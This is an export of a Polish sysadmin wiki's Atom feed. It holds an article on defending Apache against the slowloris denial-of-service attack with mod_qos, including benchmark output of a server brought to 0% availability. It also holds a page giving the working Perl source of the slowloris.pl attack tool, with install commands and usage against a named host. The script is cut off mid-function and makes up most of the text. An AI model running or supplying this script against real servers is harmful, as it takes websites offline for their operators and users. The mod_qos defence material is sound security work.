Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Podgląd pracy można obserwować pod adresem&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip_serwera/server-status&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=336</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=336"/>
		<updated>2009-10-01T15:15:38Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny Opis na HowToForge]&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Slowloris.pl_(Skrypt)&amp;diff=335</id>
		<title>Slowloris.pl (Skrypt)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Slowloris.pl_(Skrypt)&amp;diff=335"/>
		<updated>2009-10-01T14:56:19Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Kompletne źródło skryptu perl służącego do przeprowadzenia ataku DoS na serwery Apache.&lt;br /&gt;
&lt;br /&gt;
Wymagane do zainstalowania moduły&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
perl -MCPAN -e &#039;install IO::Socket::INET&#039;&lt;br /&gt;
perl -MCPAN -e &#039;install IO::Socket::SSL&#039;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Przykładowe użycie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
perl slowloris.pl -dns www.strona.pl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kod źródłowy skryptu slowloris.pl&lt;br /&gt;
&amp;lt;source lang=&amp;quot;perl&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/perl -w&lt;br /&gt;
use strict;&lt;br /&gt;
use IO::Socket::INET;&lt;br /&gt;
use IO::Socket::SSL;&lt;br /&gt;
use Getopt::Long;&lt;br /&gt;
use Config;&lt;br /&gt;
&lt;br /&gt;
$SIG{&#039;PIPE&#039;} = &#039;IGNORE&#039;;    #Ignore broken pipe errors&lt;br /&gt;
&lt;br /&gt;
print &amp;lt;&amp;lt;EOTEXT;&lt;br /&gt;
�[1m&lt;br /&gt;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::&lt;br /&gt;
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::&lt;br /&gt;
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::&lt;br /&gt;
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::&lt;br /&gt;
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:&lt;br /&gt;
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc&lt;br /&gt;
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo&lt;br /&gt;
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC&lt;br /&gt;
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC&lt;br /&gt;
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO&lt;br /&gt;
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O&lt;br /&gt;
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO&lt;br /&gt;
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO&lt;br /&gt;
OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO&lt;br /&gt;
COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO&lt;br /&gt;
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC&lt;br /&gt;
coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC&lt;br /&gt;
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC&lt;br /&gt;
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC&lt;br /&gt;
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo&lt;br /&gt;
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc&lt;br /&gt;
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co&lt;br /&gt;
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo&lt;br /&gt;
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC&lt;br /&gt;
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco&lt;br /&gt;
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc&lt;br /&gt;
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco&lt;br /&gt;
�[31m&lt;br /&gt;
 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client&lt;br /&gt;
�[m&lt;br /&gt;
EOTEXT&lt;br /&gt;
&lt;br /&gt;
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );&lt;br /&gt;
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );&lt;br /&gt;
my $result = GetOptions(&lt;br /&gt;
    &#039;shost=s&#039;   =&amp;gt; \$shost,&lt;br /&gt;
    &#039;dns=s&#039;     =&amp;gt; \$host,&lt;br /&gt;
    &#039;httpready&#039; =&amp;gt; \$httpready,&lt;br /&gt;
    &#039;num=i&#039;     =&amp;gt; \$connections,&lt;br /&gt;
    &#039;cache&#039;     =&amp;gt; \$cache,&lt;br /&gt;
    &#039;port=i&#039;    =&amp;gt; \$port,&lt;br /&gt;
    &#039;https&#039;     =&amp;gt; \$ssl,&lt;br /&gt;
    &#039;tcpto=i&#039;   =&amp;gt; \$tcpto,&lt;br /&gt;
    &#039;test&#039;      =&amp;gt; \$test,&lt;br /&gt;
    &#039;timeout=i&#039; =&amp;gt; \$timeout,&lt;br /&gt;
    &#039;version&#039;   =&amp;gt; \$version,&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
if ($version) {&lt;br /&gt;
    print &amp;quot;Version 0.7\n&amp;quot;;&lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unless ($host) {&lt;br /&gt;
    print &amp;quot;Usage:\n\n\tperl $0 -dns [www.example.com] -options\n&amp;quot;;&lt;br /&gt;
    print &amp;quot;\n\tType &#039;perldoc $0&#039; for help with options.\n\n&amp;quot;;&lt;br /&gt;
    exit;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unless ($port) {&lt;br /&gt;
    $port = 80;&lt;br /&gt;
    print &amp;quot;Defaulting to port 80.\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unless ($tcpto) {&lt;br /&gt;
    $tcpto = 5;&lt;br /&gt;
    print &amp;quot;Defaulting to a 5 second tcp connection timeout.\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unless ($test) {&lt;br /&gt;
    unless ($timeout) {&lt;br /&gt;
        $timeout = 100;&lt;br /&gt;
        print &amp;quot;Defaulting to a 100 second re-try timeout.\n&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    unless ($connections) {&lt;br /&gt;
        $connections = 1000;&lt;br /&gt;
        print &amp;quot;Defaulting to 1000 connections.\n&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
my $usemultithreading = 0;&lt;br /&gt;
if ( $Config{usethreads} ) {&lt;br /&gt;
    print &amp;quot;Multithreading enabled.\n&amp;quot;;&lt;br /&gt;
    $usemultithreading = 1;&lt;br /&gt;
    use threads;&lt;br /&gt;
    use threads::shared;&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
    print &amp;quot;No multithreading capabilites found!\n&amp;quot;;&lt;br /&gt;
    print &amp;quot;Slowloris will be slower than normal as a result.\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
my $packetcount : shared     = 0;&lt;br /&gt;
my $failed : shared          = 0;&lt;br /&gt;
my $connectioncount : shared = 0;&lt;br /&gt;
&lt;br /&gt;
srand() if ($cache);&lt;br /&gt;
&lt;br /&gt;
if ($shost) {&lt;br /&gt;
    $sendhost = $shost;&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
    $sendhost = $host;&lt;br /&gt;
}&lt;br /&gt;
if ($httpready) {&lt;br /&gt;
    $method = &amp;quot;POST&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
    $method = &amp;quot;GET&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ($test) {&lt;br /&gt;
    my @times = ( &amp;quot;2&amp;quot;, &amp;quot;30&amp;quot;, &amp;quot;90&amp;quot;, &amp;quot;240&amp;quot;, &amp;quot;500&amp;quot; );&lt;br /&gt;
    my $totaltime = 0;&lt;br /&gt;
    foreach (@times) {&lt;br /&gt;
        $totaltime = $totaltime + $_;&lt;br /&gt;
    }&lt;br /&gt;
    $totaltime = $totaltime / 60;&lt;br /&gt;
    print &amp;quot;This test could take up to $totaltime minutes.\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
    my $delay   = 0;&lt;br /&gt;
    my $working = 0;&lt;br /&gt;
    my $sock;&lt;br /&gt;
&lt;br /&gt;
    if ($ssl) {&lt;br /&gt;
        if (&lt;br /&gt;
            $sock = new IO::Socket::SSL(&lt;br /&gt;
                PeerAddr =&amp;gt; &amp;quot;$host&amp;quot;,&lt;br /&gt;
                PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,&lt;br /&gt;
                Timeout  =&amp;gt; &amp;quot;$tcpto&amp;quot;,&lt;br /&gt;
                Proto    =&amp;gt; &amp;quot;tcp&amp;quot;,&lt;br /&gt;
            )&lt;br /&gt;
          )&lt;br /&gt;
        {&lt;br /&gt;
            $working = 1;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    else {&lt;br /&gt;
        if (&lt;br /&gt;
            $sock = new IO::Socket::INET(&lt;br /&gt;
                PeerAddr =&amp;gt; &amp;quot;$host&amp;quot;,&lt;br /&gt;
                PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,&lt;br /&gt;
                Timeout  =&amp;gt; &amp;quot;$tcpto&amp;quot;,&lt;br /&gt;
                Proto    =&amp;gt; &amp;quot;tcp&amp;quot;,&lt;br /&gt;
            )&lt;br /&gt;
          )&lt;br /&gt;
        {&lt;br /&gt;
            $working = 1;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if ($working) {&lt;br /&gt;
        if ($cache) {&lt;br /&gt;
            $rand = &amp;quot;?&amp;quot; . int( rand(99999999999999) );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
            $rand = &amp;quot;&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        my $primarypayload =&lt;br /&gt;
            &amp;quot;GET /$rand HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
          . &amp;quot;Host: $sendhost\r\n&amp;quot;&lt;br /&gt;
          . &amp;quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n&amp;quot;&lt;br /&gt;
          . &amp;quot;Content-Length: 42\r\n&amp;quot;;&lt;br /&gt;
        if ( print $sock $primarypayload ) {&lt;br /&gt;
            print &amp;quot;Connection successful, now comes the waiting game...\n&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
            print&lt;br /&gt;
&amp;quot;That&#039;s odd - I connected but couldn&#039;t send the data to $host:$port.\n&amp;quot;;&lt;br /&gt;
            print &amp;quot;Is something wrong?\nDying.\n&amp;quot;;&lt;br /&gt;
            exit;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    else {&lt;br /&gt;
        print &amp;quot;Uhm... I can&#039;t connect to $host:$port.\n&amp;quot;;&lt;br /&gt;
        print &amp;quot;Is something wrong?\nDying.\n&amp;quot;;&lt;br /&gt;
        exit;&lt;br /&gt;
    }&lt;br /&gt;
    for ( my $i = 0 ; $i &amp;lt;= $#times ; $i++ ) {&lt;br /&gt;
        print &amp;quot;Trying a $times[$i] second delay: \n&amp;quot;;&lt;br /&gt;
        sleep( $times[$i] );&lt;br /&gt;
        if ( print $sock &amp;quot;X-a: b\r\n&amp;quot; ) {&lt;br /&gt;
            print &amp;quot;\tWorked.\n&amp;quot;;&lt;br /&gt;
            $delay = $times[$i];&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
            if ( $SIG{__WARN__} ) {&lt;br /&gt;
                $delay = $times[ $i - 1 ];&lt;br /&gt;
                last;&lt;br /&gt;
            }&lt;br /&gt;
            print &amp;quot;\tFailed after $times[$i] seconds.\n&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if ( print $sock &amp;quot;Connection: Close\r\n\r\n&amp;quot; ) {&lt;br /&gt;
        print &amp;quot;Okay that&#039;s enough time. Slowloris closed the socket.\n&amp;quot;;&lt;br /&gt;
        print &amp;quot;Use $delay seconds for -timeout.\n&amp;quot;;&lt;br /&gt;
        exit;&lt;br /&gt;
    }&lt;br /&gt;
    else {&lt;br /&gt;
        print &amp;quot;Remote server closed socket.\n&amp;quot;;&lt;br /&gt;
        print &amp;quot;Use $delay seconds for -timeout.\n&amp;quot;;&lt;br /&gt;
        exit;&lt;br /&gt;
    }&lt;br /&gt;
    if ( $delay &amp;lt; 166 ) {&lt;br /&gt;
        print &amp;lt;&amp;lt;EOSUCKS2BU;&lt;br /&gt;
Since the timeout ended up being so small ($delay seconds) and it generally &lt;br /&gt;
takes between 200-500 threads for most servers and assuming any latency at &lt;br /&gt;
all...  you might have trouble using Slowloris against this target.  You can &lt;br /&gt;
tweak the -timeout flag down to less than 10 seconds but it still may not &lt;br /&gt;
build the sockets in time.&lt;br /&gt;
EOSUCKS2BU&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
else {&lt;br /&gt;
    print&lt;br /&gt;
&amp;quot;Connecting to $host:$port every $timeout seconds with $connections sockets:\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
    if ($usemultithreading) {&lt;br /&gt;
        domultithreading($connections);&lt;br /&gt;
    }&lt;br /&gt;
    else {&lt;br /&gt;
        doconnections( $connections, $usemultithreading );&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
sub doconnections {&lt;br /&gt;
    my ( $num, $usemultithreading ) = @_;&lt;br /&gt;
    my ( @first, @sock, @working );&lt;br /&gt;
    my $failedconnections = 0;&lt;br /&gt;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing&lt;br /&gt;
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing&lt;br /&gt;
    while (1) {&lt;br /&gt;
        $failedconnections = 0;&lt;br /&gt;
        print &amp;quot;\t\tBuilding sockets.\n&amp;quot;;&lt;br /&gt;
        foreach my $z ( 1 .. $num ) {&lt;br /&gt;
            if ( $working[$z] == 0 ) {&lt;br /&gt;
                if ($ssl) {&lt;br /&gt;
                    if (&lt;br /&gt;
                        $sock[$z] = new IO::Socket::SSL(&lt;br /&gt;
                            PeerAddr =&amp;gt; &amp;quot;$host&amp;quot;,&lt;br /&gt;
                            PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,&lt;br /&gt;
                            Timeout  =&amp;gt; &amp;quot;$tcpto&amp;quot;,&lt;br /&gt;
                            Proto    =&amp;gt; &amp;quot;tcp&amp;quot;,&lt;br /&gt;
                        )&lt;br /&gt;
                      )&lt;br /&gt;
                    {&lt;br /&gt;
                        $working[$z] = 1;&lt;br /&gt;
                    }&lt;br /&gt;
                    else {&lt;br /&gt;
                        $working[$z] = 0;&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                else {&lt;br /&gt;
                    if (&lt;br /&gt;
                        $sock[$z] = new IO::Socket::INET(&lt;br /&gt;
                            PeerAddr =&amp;gt; &amp;quot;$host&amp;quot;,&lt;br /&gt;
                            PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,&lt;br /&gt;
                            Timeout  =&amp;gt; &amp;quot;$tcpto&amp;quot;,&lt;br /&gt;
                            Proto    =&amp;gt; &amp;quot;tcp&amp;quot;,&lt;br /&gt;
                        )&lt;br /&gt;
                      )&lt;br /&gt;
                    {&lt;br /&gt;
                        $working[$z] = 1;&lt;br /&gt;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK&lt;br /&gt;
                    }&lt;br /&gt;
                    else {&lt;br /&gt;
                        $working[$z] = 0;&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                if ( $working[$z] == 1 ) {&lt;br /&gt;
                    if ($cache) {&lt;br /&gt;
                        $rand = &amp;quot;?&amp;quot; . int( rand(99999999999999) );&lt;br /&gt;
                    }&lt;br /&gt;
                    else {&lt;br /&gt;
                        $rand = &amp;quot;&amp;quot;;&lt;br /&gt;
                    }&lt;br /&gt;
                    my $primarypayload =&lt;br /&gt;
                        &amp;quot;$method /$rand HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
                      . &amp;quot;Host: $sendhost\r\n&amp;quot;&lt;br /&gt;
                      . &amp;quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n&amp;quot;&lt;br /&gt;
                      . &amp;quot;Content-Length: 42\r\n&amp;quot;;&lt;br /&gt;
                    my $handle = $sock[$z];&lt;br /&gt;
                    if ($handle) {&lt;br /&gt;
                        print $handle &amp;quot;$primarypayload&amp;quot;;&lt;br /&gt;
                        if ( $SIG{__WARN__} ) {&lt;br /&gt;
                            $working[$z] = 0;&lt;br /&gt;
                            close $handle;&lt;br /&gt;
                            $failed++;&lt;br /&gt;
                            $failedconnections++;&lt;br /&gt;
                        }&lt;br /&gt;
                        else {&lt;br /&gt;
                            $packetcount++;&lt;br /&gt;
                            $working[$z] = 1;&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                    else {&lt;br /&gt;
                        $working[$z] = 0;&lt;br /&gt;
                        $failed++;&lt;br /&gt;
                        $failedconnections++;&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                else {&lt;br /&gt;
                    $working[$z] = 0;&lt;br /&gt;
                    $failed++;&lt;br /&gt;
                    $failedconnections++;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        print &amp;quot;\t\tSending data.\n&amp;quot;;&lt;br /&gt;
        foreach my $z ( 1 .. $num ) {&lt;br /&gt;
            if ( $working[$z] == 1 ) {&lt;br /&gt;
                if ( $sock[$z] ) {&lt;br /&gt;
                    my $handle = $sock[$z];&lt;br /&gt;
                    if ( print $handle &amp;quot;X-a: b\r\n&amp;quot; ) {&lt;br /&gt;
                        $working[$z] = 1;&lt;br /&gt;
                        $packetcount++;&lt;br /&gt;
                    }&lt;br /&gt;
                    else {&lt;br /&gt;
                        $working[$z] = 0;&lt;br /&gt;
                        #debugging info&lt;br /&gt;
                        $failed++;&lt;br /&gt;
                        $failedconnections++;&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                else {&lt;br /&gt;
                    $working[$z] = 0;&lt;br /&gt;
                    #debugging info&lt;br /&gt;
                    $failed++;&lt;br /&gt;
